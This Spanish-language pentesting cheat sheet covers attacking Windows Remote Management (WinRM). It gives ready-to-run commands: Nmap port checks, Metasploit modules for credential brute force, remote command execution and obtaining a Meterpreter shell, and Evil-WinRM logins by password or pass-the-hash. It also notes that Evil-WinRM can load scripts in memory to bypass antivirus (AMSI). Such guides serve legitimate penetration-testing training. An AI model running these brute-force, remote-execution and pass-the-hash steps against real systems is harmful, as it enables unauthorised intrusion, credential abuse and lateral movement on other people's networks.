Appearance
🖥️ WinRM (Windows Remote Management)
WinRM es la implementación de Microsoft del protocolo WS-Management, que permite la administración remota de sistemas Windows a través de HTTP (puerto 5985) o HTTPS (puerto 5986). En entornos de Active Directory, es el método preferido para ejecutar comandos de PowerShell de forma remota y es una alternativa moderna a SMB/RPC (PsExec).
🚀 Conceptos Clave
Para que WinRM sea explotable, debe estar habilitado en la víctima (Enable-PSRemoting). Utiliza autenticación Kerberos o NTLM por defecto, lo que lo convierte en un vector excelente para ataques de Pass-the-Hash o movimiento lateral si ya posees credenciales.
🔍 Enumeración y Fuerza Bruta
Antes de intentar ejecutar comandos, debemos confirmar que el servicio acepta conexiones y, si es posible, obtener credenciales válidas.
1. Identificación con Nmap
bash
nmap -p 5985,5986 --open <IP>2. Metasploit: Escaneo y Login
Metasploit ofrece módulos para verificar el acceso y realizar ataques de diccionario:
- Identificación:
auxiliary/scanner/winrm/winrm_auth_methods. Permite saber qué tipos de autenticación (Basic, Kerberos, Negotiate) soporta el servidor. - Fuerza Bruta:
auxiliary/scanner/winrm/winrm_login. Prueba combinaciones de usuario y contraseña para ganar acceso.
🚀 Explotación
Si ya tienes credenciales (usuario y contraseña o Hash NTLM), puedes usar Metasploit para ejecutar código sin necesidad de una shell interactiva tradicional.
1. Ejecución de Comandos Individuales
El módulo auxiliary/scanner/winrm/winrm_cmd permite ejecutar un comando específico en el objetivo y recibir la salida. Es ideal para una enumeración rápida post-login.
bash
use auxiliary/scanner/winrm/winrm_cmd
set RHOSTS <IP>
set USERNAME <usuario>
set PASSWORD <contraseña>
set CMD whoami /priv
run2. Ejecución de Scripts y Obtención de Shell
El módulo exploit/windows/winrm/winrm_script_exec es más avanzado. Sube un script de PowerShell que se ejecuta en memoria para devolverte una sesión completa de Meterpreter.
bash
use exploit/windows/winrm/winrm_script_exec
set RHOSTS <IP>
set FORCE_VBS true # Útil si PowerShell está restringido
set USERNAME <usuario>
set PASSWORD <contraseña>
exploit🛠️ Herramientas Alternativas (Evil-WinRM)
Fuera de Metasploit, la herramienta de referencia para este servicio es Evil-WinRM. Es extremadamente potente para el movimiento lateral y permite cargar scripts directamente en memoria para evadir antivirus (AMSI Bypass).
bash
# Conexión con contraseña
evil-winrm -i <IP> -u <usuario> -p <contraseña>
# Conexión con Hash (Pass-the-Hash)
evil-winrm -i <IP> -u <usuario> -H <hash_ntlm>